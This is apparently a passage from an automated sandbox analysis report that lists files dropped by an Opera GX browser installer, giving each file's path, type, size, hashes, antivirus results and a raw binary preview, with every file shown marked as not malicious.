                                                                                                                                                                                                              Preview:........]'`.e.....g.....h.....i.....j.....k.....l.....m.....o.<...p.A...q.G...r.S...s.....t.....v.....w.....|.!...}.R.....{.....................................................................................................s.................6.....h.....t...........=.....u.................F.......................E.....k.....w.................7.....D.......................1.................M....._.................O.....\.................*.....6.........................................A.....S.............................`.......................%.....n.......................h.................. ....\ ..... ..... ..... ....B!....q!....}!.....!.... "....H"....T"....."....."...."#.....#.....#.....$....U$....i$.....$.....%....$%....8%.....%.....%.....&.....&.....&.....&.....&.....'....g'.....'.....'.....(....V(.....(.....(.....(....&)....x).....).....)....&*....u*.....*.....*....B+.....+.....+.....,....x,.....,.....-....&-.....-.....-.....-..........W.......................)/...../...../...../

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\zh-TW.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):452975
                                                                                                                                                                                                              Entropy (8bit):6.747021879175249
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:gaJiOFkQcFaxcbPH/6KcCnv96HtXZ6kIT8blUppf9/j4stTnkW0jXJ:HzFyQxcbPy3CnUB89p9ssxkW0jXJ
                                                                                                                                                                                                              MD5:80FB3401A71B6D8F7C9EF7A57B3D91DB
                                                                                                                                                                                                              SHA1:E261A590751532E5CED4AD238A58B6B8CC88D91A
                                                                                                                                                                                                              SHA-256:C52702DEFD21B82D62248F2D5E1AE47838DEC145BB8FCA8B023FDFF77AEFE186
                                                                                                                                                                                                              SHA-512:DCB43E3FD4D0B7B0DD0494DACA7F5300CCF4E617725FCC1476B844212C9BE1C8C52C9776F5340BC9DF51E98F8F94206175387C6CAA077166B37F8504A9B51B9A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........m'P.e.....g.....h.....i.....j.....k.....l.....n.$...o.)...p.1...q.7...r.C...s.r...t.....v.....w.....y.....z.?...|.f...}...............................................................................'.................U.....g.................8.....D.................6.....H.................%.....7.............................`.......................<.......................0.......................(.............................e.......................`...............................................[.....o.......................9.....E.............................i.......................F.......................) ..... ..... ..... .....!....e!.....!.....!.....!....>"....g"....s"....."....;#....p#.....#.....#.....$....0$....D$.....$.....$.....$....^%.....%.....%.....%....J&.....&.....&.....&....3'....s'.....'.....'.....'....=(....`(....r(.....(....%)....T)....n).....)....Z*.....*.....*.....+.....+.....+.....+..../,.....,.....,.....,.....,....:-....O-....\-.....-..........-.....?.......

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\mojo_core.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1968536
                                                                                                                                                                                                              Entropy (8bit):6.48242897094535
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:g0139pO0hsRv1sBSF0oTu160MdjMCZMVIMgfHFu+kgWnI88QBgJvQb:g0J3xEvF0oTucjM2MK9fHFbkg48QBgB8
                                                                                                                                                                                                              MD5:256832E57E9D757D693AFE433952AB3B
                                                                                                                                                                                                              SHA1:8615520CF969D61B4D24F20CC1BA4F70DE35B109
                                                                                                                                                                                                              SHA-256:B588AD183602D641B44BAD9F7000DE854607C8CDD7B090EC4F3C33B8187CCA45
                                                                                                                                                                                                              SHA-512:A32B26DF3F2CCA257260E2BBD56207A263867CF1156E0BA2254B62F8518AD3C2F4ACF2516A1BB51787FFBBEE721A957D4DBC592B4DC8A21F852A22F4CE379BF8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .....H...........6.......................................0......O.....`A............................................p.......................8........)......h!..|...8...................`...(....q..@............................................text....F.......H.................. ..`.rdata...d...`...f...L..............@..@.data...p...........................@....pdata..8...........................@..@.gxfg....).......*..................@..@.retplne.................................tls................................@..._RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..h!......."..................@..B................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\notification_helper.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1323416
                                                                                                                                                                                                              Entropy (8bit):6.483911858921777
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:gMKItQ7a515Yugv/KZXg6A0UzCzEyfpeoqn6RAvm8pugwP8pVmYsykJopVSlpN:7tQe515CV10UezPfZS6ymrJLN
                                                                                                                                                                                                              MD5:A26928A9F2E8CA44504061072A2CBDD9
                                                                                                                                                                                                              SHA1:1955F09EAE81A9DF64B70A74636C604BC887DA03
                                                                                                                                                                                                              SHA-256:AD4143589B5A51060F622ABE6DEB8D930DEE534D62B69AED8E9B19F3D71601C4
                                                                                                                                                                                                              SHA-512:F1EF08E7B957585953753BB67728F9D352AC30229240F93914EE1682CFB937AB49BC070803AB5E5705593F7D8414121600AC39C3C133EDF7020DB4AF46D151C7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......(.....................@..........................................`.............................................\...T........P.. ....P...........)...`..h..............................(....A..@...........`...@............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data...H....`.......>..............@....pdata.......P.......,..............@..@.gxfg....+.......,..................@..@.retplne.................................tls....y.... ......................@...CPADinfo@....0......................@..._RDATA.......@......................@..@.rsrc... ....P......................@..@.reloc..h....`......................@..B................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1493400
                                                                                                                                                                                                              Entropy (8bit):6.361746395675546
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:wl3NAeA1+ibmbqjLNVcP6f2B2MJkgbg6DwMU9eCue:+mRUbqDg6q2QZbgWUYCb
                                                                                                                                                                                                              MD5:0A28FF19DB4A60C38A92C17A53ECAA1E
                                                                                                                                                                                                              SHA1:7C704B226B76779144A11B1305B80157F22D8E48
                                                                                                                                                                                                              SHA-256:799EC7EDE7BA49339C5D81D362594E8F49FAF733A25B9C7D4A37F7D6264F6FFF
                                                                                                                                                                                                              SHA-512:21DD3E74F6B0642396BFEF922D00D8ABF5316E5D49BB8F5E8FEBF6E011F5E34376DC9A4EA1847327F8258ACFF363D1F5F2CD885BAA788BF4E2001A1657EF5135
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."..................k.........@.....................................;....`.........................................h...k.......P.......8.......T{.......)..............8...................p...(.......@.......................@....................text...m........................... ..`.rdata..T...........................@..@.data...<....p.......^..............@....pdata..T{.......|...H..............@..@.gxfg....*.......,..................@..@.retplne.................................tls................................@..._RDATA..............................@..@.rsrc...8...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.exe.sig

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1471
                                                                                                                                                                                                              Entropy (8bit):7.570358055365897
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:+iCNV9ue/BbGNo7H6lah8keReriJ8gLIcO5v4Duvw5HjgTa/HMd/IkktS05G28:+iCHMepSN078kfipLIckwFj8a/HMatG9
                                                                                                                                                                                                              MD5:1A24C0AE0B4EC944965ACA0F138097C7
                                                                                                                                                                                                              SHA1:675015E0C3ECBE41207B6CE44A38B4A1EC8C0FD5
                                                                                                                                                                                                              SHA-256:ADB4F146CBE6C106C6608A4CDDAF6BFD19E0671971E0EE099F5496BDF2E964CD
                                                                                                                                                                                                              SHA-512:56FB8331C2DC8F76D4D4B097CD3A214249C049AA9336B383FCF77C168B6BDB2F35FC95CCA47C8872680CA7FC26AD28EBCA37AE72B31CC955661C65BC5D4558DE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:....0...0................K)..3...[.40...*.H........0}1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1"0 ..U....widevine-codesign-root-ca0...180627202339Z..280624202339Z0..1.0...U....PL1.0...U....DOLNOSLASKIE1.0...U....WROCLAW1.0...U....Opera Software AS1.0...U....DESKTOP1.0...U....DESKTOP PROD1'0%..*.H........wdzierzanowski@opera.com0.."0...*.H.............0.........x.....jn...)>a.....-} .v...P..S..x.>k{.........Tr..Yo.D....d.....l.v.wU. .A.W5..oor....-Vs.o.......yH.pJ...?.Whs0`....Jb....3/. tl..8c........C..Byq>h..3A8..{..p....\..n...Q.t....0mQ{j......U|.W\...........s!....K...'.....s..s....P..r8..........0..0...U.......`..\../X.l...e....w0...U.#..0....=..tW....!.B.#U).0...U....0.0...U........0...U.%..0...+.......0...+.....y........0...*.H..............D.G....gtpx.......~...v.....c..%.I.....c2Y.Y.....Y^..Aa..A.b.Y.f..Zra*.),K.....n.1r.C...Z...)....W.r.gu.Z....l......S.CF.m.Y...P.W..y.f.\,.$.>...!...FK....j....XHn.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):49599943
                                                                                                                                                                                                              Entropy (8bit):7.939442241597285
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:786432:D64k+lTxyJAG2VIiIsY7AGA2Fs7OSlKLbNPbGN+ULZBFQM99860gW:D63+DQDiIrAGA+SYL5bMjLZBuY970r
                                                                                                                                                                                                              MD5:A1DFCA875AD2C682BA4EDD84ED96E28A
                                                                                                                                                                                                              SHA1:155FED4A96AED506FA7F896735435BE35DC5C646
                                                                                                                                                                                                              SHA-256:F4E053E52430E861F23B14B38E5E303B21CC81E3EE16AEE423E9371E2BF83665
                                                                                                                                                                                                              SHA-512:A45D783E823A3DC5334E8D5EC5E72B98B9DCE2E332CE90B95E69F0D778D4FE8958523D90D70630C635F909D8F6A895A13D176C6977E2F28A896F437CD5267BF5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..........+.f.&S..{..]..|..`....~d.....f......................~...........h.......................P................E.....E.....E.....F.'...F.+...Fp....F.4...F.6...F]8...Fo9...FR<...GS?...GgA...GCH...G.K...G.R...GRU...GaX...G.j...G.l...Gmq...G.r...G^y...G-|...G.~...G.....H.....H&....Hy....H.....H....H.....I}....I_....II....IT....I?....I.....IB....I?....Ik....I....4I....5I.....J.....JS....J....ZK....[K....\K$...^L...._LK...`L...aLr...bLX...cL....dL....eLd...fL....gL.C..hL.X..DM....EM.....O.....OG...@Q....AQ....BQ@...CQ...DQ...EQ...FQ-...GQ....HQ....T.%...T,'...T.(...T.+...T.....T.0...T.4...T0:...T7<...T.A...T.E...T}G...T.H...T.J...T/L...T.N...T.R...TnV...T.W...T.Z...T7^...T._...VRa...V~c...V6k...VJw...V.y...Vs~..XWQ...YW...ZW...bW....cW....dWf...eW....fWq...vW"...wW....xW....W.....Wc....W.....W.....W.....W.....W.....W.....W.....W.....W.....X.....X.....X.....Xt....X.....X.(...X.....X52...XHB...X?D...XYI...X.L...YBQ...Y*S...YxV...YQa...Y$b...Y.d...Y@h...Y.i...Y.p...Y.r...Y y...Y.{

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.visualelementsmanifest.xml

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):317
                                                                                                                                                                                                              Entropy (8bit):4.996593526126476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:ejHyaVic4subiL/bWHMjizddDhkQwYZXXKmJfFmkQwYEbghuPYEpwhugVFQ:eF8iDbWHMjizd2O/fbrghuP5whuQFQ
                                                                                                                                                                                                              MD5:E8D8EAA4C2826C083AB9243B5CBD7BF8
                                                                                                                                                                                                              SHA1:534361AE03417DFD14EBD6F961B707C75A2AF41A
                                                                                                                                                                                                              SHA-256:B3213B07F691C812425115428B9D6E0637D488159E0A1C160C8FA8F04DED11F6
                                                                                                                                                                                                              SHA-512:8ECCD5EF54A73E915A39CDEF9768837DD16E49AE27A3AE6428FB346C9C838FD9DBEDC3F40A9094754C770CA2236A0D2DFDE37D22289218D862AF5E8BC15E85E5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:<Application xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">. <VisualElements. BackgroundColor="#06030D". ShowNameOnSquare150x150Logo="on". ForegroundText="light". Square150x150Logo="Assets\150x150Logo.png". Square70x70Logo="Assets\70x70Logo.png". />.</Application>

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_100_percent.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1420469
                                                                                                                                                                                                              Entropy (8bit):7.967147763808924
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:oQAX6oO0TOpc0hwUKvrBnYJZz3V13u811iv75iopWrLuSaM5DK2Sdi5QUCAXll79:JS6BKOp3hw7BnYb3J1187ErLum5DZqne
                                                                                                                                                                                                              MD5:4FC50EBC4A462AE90CD726ED04A0571B
                                                                                                                                                                                                              SHA1:DF6216E3ACE698D566687B8BC4D10B3BD84CF5DF
                                                                                                                                                                                                              SHA-256:F8EB7D1F3021E1F5559C47EB272C84DB17C383AA690BC6EC9167C1FE5F267225
                                                                                                                                                                                                              SHA-512:827889C5DE9C258932185D104E66A47A5F304FEEE7206C70D97FD57D35F7C2B26828AD89D2F17C4539EAB40CE0CB7E42E258B5684CD3C00E64E6E4BFECC430CF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..........5...(.........2x....3x....4xF...5x....6xc!..8x."..9x.%..:x.'..;x.)..<x.,..=x./..>x12..?x.5..@x.7..AxeB..Bx2M..Cx.O..DxFT..Ex.W..Fx-Z..GxM[..Hxz^..Ixj`..Jx.b..Kx.g..Lx.j..Mx.m..Vx.p..Wx.r..Yx.s..[x.t..lz.v..mz....nz...oz....pz.....|7....|X....|.....|.....|.....|,... |=...!|....`|....a|:...b|....c|....d|...e|....j|8...k|....l|........................&...........w.....^.....H.....=.............................v.....P.....%.................w...........U.............................K................U ...)!....!...."... #....#....$...W%....%....&..._'....'....(....(....(...?)....)....*....,...K5...H7....:....?....J...lL.....T...|[....`...Gf....m....n...is...Fw...........J..../...............B............................v.....W.....}.....).....>.....].................4...........R...........2.................o...........B.................D.....I...2.N...3.....4.....5.k...6.4...8.....;.....<.8...=.....>.....?.....E.....F.....G.X...H."...I...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_125_percent.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1504032
                                                                                                                                                                                                              Entropy (8bit):7.965161020772609
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:gP6edh+1c0hwUKvrBnYtZzkmKYEqla0hm0gfnF1rcmuaLuSaM5DK2Spz5QUCAXl0:gPjr+13hw7BnYsPqla83gPFNcmuaLumv
                                                                                                                                                                                                              MD5:6D84D25FD9E30CCE62E772F903740051
                                                                                                                                                                                                              SHA1:6C0B0C7383C286C1BA390474FD08C9F8C8CE4F6B
                                                                                                                                                                                                              SHA-256:E7B11E83D595413F50E3363233D810B91B56DF3D790C858FA9D7DFDECF093658
                                                                                                                                                                                                              SHA-512:339352BBFE1A33773B000F77C02A64942BA8CC2E52EE449DA288DC585EF71BF5A5329D89F0C6326068E02A78B472666C401C03FEEC24CEB421F50C18383A20AE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Y.-.........g................. .....).......................;.....v.....v...... .....!.....".....#.....$.....%.....&.....&....<'.....'....B(.....(.....).....*.....*.....+.....,.....-...Z....x/...=0...B1....1....3....3....4...l5...^6....7....7....7...]8....8...59....9...(:....:....;....;....=....G....I...RL....Q....\..._^.....f...m....r...jx...L.................2....^.............^......................_.................Y.....F.....x.....0.....Q.....|.....$...........w.....#...........M.................h...........s.................l...........(...2.9...3.....4.....5.z...6.....8.....;.m...<.....=.<...>.....?.....E.."..F.~#..G.?$..H..%..I..%..J..&..K..'..L..(..M..)....*....+....+....+....,....-........~/....0....0....0...S1....1....2...Z2...z8....p<....<...=....>...>...D?....?...u@....A...jA....A...\B...B...UC....C....MD...D.../E...E....F....xF.....F....OG.....G...."H.....H.....I....nI.....I....BJ

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_150_percent.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1661944
                                                                                                                                                                                                              Entropy (8bit):7.965159733772582
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:Qjr+m3hw7BnYiLqRnY0GbcY8PvLum5DZJ4UbXl2Y6:Qd3hgBnYiLqRKsvh5D3b+
                                                                                                                                                                                                              MD5:2684D91F713857140E5C6A6B992C4BE9
                                                                                                                                                                                                              SHA1:870C316134AE2E4D53A63FD7273F48102F6F342E
                                                                                                                                                                                                              SHA-256:B252F4B1A8BF5CDF9787E931D6DE15CD2B79AC585BC5E36E13D9BB6EB6472368
                                                                                                                                                                                                              SHA-512:B1EFD156034B8F4AC259E86B039583568FCF6E6831B190173E4E44EA63954353CED77F1E371A08239BFAD3F94DD3A8895B0310CE108EFBC641340F19C0EDB4D9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Y.-.........g.................(.....(.................h.................5 ....o!.....".....$....-%....>&....a'.....'....|(.....(.....).....*....q*.....*.....,.....,....0....../....^0...11....2..._3....4....5....6....7....9....9...H;...,<....<....=...p=....=...H>....>...;?....?...A@....@....B....L....N...eQ....V....a...rc.....k...r....x...}}..._....)............E....q............q.......................r.................l.....Y...........C.....d...........7.................6...........`...........A.....{...................................*.....;...2.L...3.....4.....5.....6.....8.,...;.....<.q...=.....>.h...?.6#..E.0(..F..)..G..)..H..*..I..+..J.Z,..K..-..L.]...M._/...`0....0....1...}1...(2...^3...74....4...~5....6...e6....6...#7...w7....7....=.....A...lB....B...C....D...D...OE....E...F....F...SG....G...+H....H...eI.....I.../J...J....J...qK.....K....DL.....L....:M.....M.....N.....N.....N....LO.....O

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_200_percent.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2088395
                                                                                                                                                                                                              Entropy (8bit):7.966051088164317
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:uvAqRjrOK+3hw7BnY/8ZOA6AwxI5ieRJYdvLum5DZ4+EUbXl2Y6:AAqRuK+3hgBnYkZOcwG5ieRJsh5DVb+
                                                                                                                                                                                                              MD5:5A2A0F228F11A399F97A6E76A9352C1E
                                                                                                                                                                                                              SHA1:0D899AD0B550EAD37C290B7052F30871E8A9BE6A
                                                                                                                                                                                                              SHA-256:4BB8E2116698BD9B977CFCF6751A32D28C1390DD77DE0E854A44E87B3F7C8F03
                                                                                                                                                                                                              SHA-512:37263CD77510BBAE39BE6FAC72763A17ED9AA68514E9EDD26C8CB8874DD92005C844C00ED74F0491E81BBD536443CA7CD52C1E9F34627D76A2ABE2FCBD7907B2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:..........5...(.........2xU...3xd...4xH%..5x.+..6xK...8xF/..9x.6..:x@;..;xP>..<x.E..=x7K..>xtO..?x.W..@x.[..Ax$p..Bx...Cx....Dxb...Ex....FxN...Gx....Hx@...Ix....Jx'...KxK...LxG...MxP...Vx....Wxb...Yx....[xt...lz....mz....nz7$..oz.$..pz.%...|V)...|A-...|k0...|_3...|d6...|.9.. |.=..!|.A..`|HE..a|.F..b|WH..c|.I..d|.J..e|0K..j|.K..k|....l|f.....+...........7...........y................[.....5...........J................r.....0..........J...........*.................v.................................................g....z....5.........-....C.........@...................Z.........2.............................B....{.........O..........w.........Z....<............."...",...N/...7...;...NE.....O.....S....xU....O^.....f.....h.....k.....o.....v.....x....!..........\.....3...........................................,.....E..........7.....h.....^.....>...2.!...3.O...4.i...5.....6.....8.w...;.....<.=...=.....>.....?.....E.....F.....G.....H./...I.S.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_250_percent.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1863405
                                                                                                                                                                                                              Entropy (8bit):7.964301462022529
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:ljr+nMAURBgoY/jL/nU2SZ17nnVZJCLum5DZpVBIUbXl2Y6:lmlYBc/jLUnnnXkh5Dp5b+
                                                                                                                                                                                                              MD5:6FECC7E4AA5D75408348BDE46ADC96D9
                                                                                                                                                                                                              SHA1:58B0D174065CC4418F0266868B37B8BEEA993BC9
                                                                                                                                                                                                              SHA-256:6F69E435A0BFABD9CE54AFF87E9F99FB19DD9273ADC3808B1F53D39FD286EC08
                                                                                                                                                                                                              SHA-512:5DC1CA9E20BB5590B601AEF6F76B25C56B42CEEDB39844948E59385B379AE809ABBF6F664E18201EB8E3FD00E8772663E0EDB81B5C3F8D995A0A28F10CB16797
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........).0.........S...........`.................G.....0.....i............ .....".....$.....&.....(.....*.....-....8/...../....,0.....0.....1.....1.....1....Z2....S3....-4....85.....6.....8...U9....;....<....>....@....B...|C....D...sE....F...lG....G...DH....H....I....I....I...jJ...yL....U....W....[...D`...`k....m....]u...@|.......#.............i....R.............z....k..........[...........A...................................1.................5.................0...........f...........^...........!...........,...........D.....%...............2.....3.....4.....5.3...6.. ..8..!..;.."..<..$..=..&..>..)..?..-..E..2..F..3..G..4..H.Z5..I.06..J..7..K..7..L..9..M..:....;...c;....;...(<....<....>....>....?...a@....A..._A....A....B...qB....B....H.....L...fM....M...N....O...O...IP....P...|Q....Q...MR....R...%S....S..._T.....T...)U...U....U...kV.....V....>W.....W....4X.....X.....Y....}Y.....Y....FZ.....Z.....[....U[.....[

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5819288
                                                                                                                                                                                                              Entropy (8bit):6.516146396578527
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:0hfOQGBpQYAmU4sG/GSOa7hSdg4P6IJc63:uqqAOOSIU3
                                                                                                                                                                                                              MD5:79F334AD5B1392E99CE978F0072AE109
                                                                                                                                                                                                              SHA1:D74DF27DDC85822EF8C36F2E2E89211ECC5627E1
                                                                                                                                                                                                              SHA-256:EED76EF614636286D9FCCF88AA4F90EF300EB8B7E223B9EDC7455D23C7B9AE61
                                                                                                                                                                                                              SHA-512:94A8A2F9170965D52F649B442016EACA45CBC5BE3C10F9E6385526AE67A9389130DC3AB46EB24F624A8D551A32A573765F61D4B588D7DF813502F6BB21E5D7FD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......2H..V........,........@..............................Z.....p4Y...`..........................................iR.Y....iR.......X..`....V.T7....X..)...`Z..B...'R.8....................%R.(... cH.@............{R......iR.@....................text...%0H......2H................. ..`.rdata...+...PH..,...6H.............@..@.data...Tx....S......bS.............@....pdata..T7....V..8...pT.............@..@.gxfg...04...@X..6....V.............@..@.retplne......X.......V..................tls....a.....X.......V.............@...CPADinfo@.....X.......V.............@...LZMADEC.......X.......V............. ..`_RDATA........X.......V.............@..@malloc_h......X.......V............. ..`.rsrc....`....X..b....V.............@..@.reloc...B...`Z..D...^X.............@..B................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.exe.1728808435.old (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5819288
                                                                                                                                                                                                              Entropy (8bit):6.516146396578527
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:0hfOQGBpQYAmU4sG/GSOa7hSdg4P6IJc63:uqqAOOSIU3
                                                                                                                                                                                                              MD5:79F334AD5B1392E99CE978F0072AE109
                                                                                                                                                                                                              SHA1:D74DF27DDC85822EF8C36F2E2E89211ECC5627E1
                                                                                                                                                                                                              SHA-256:EED76EF614636286D9FCCF88AA4F90EF300EB8B7E223B9EDC7455D23C7B9AE61
                                                                                                                                                                                                              SHA-512:94A8A2F9170965D52F649B442016EACA45CBC5BE3C10F9E6385526AE67A9389130DC3AB46EB24F624A8D551A32A573765F61D4B588D7DF813502F6BB21E5D7FD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
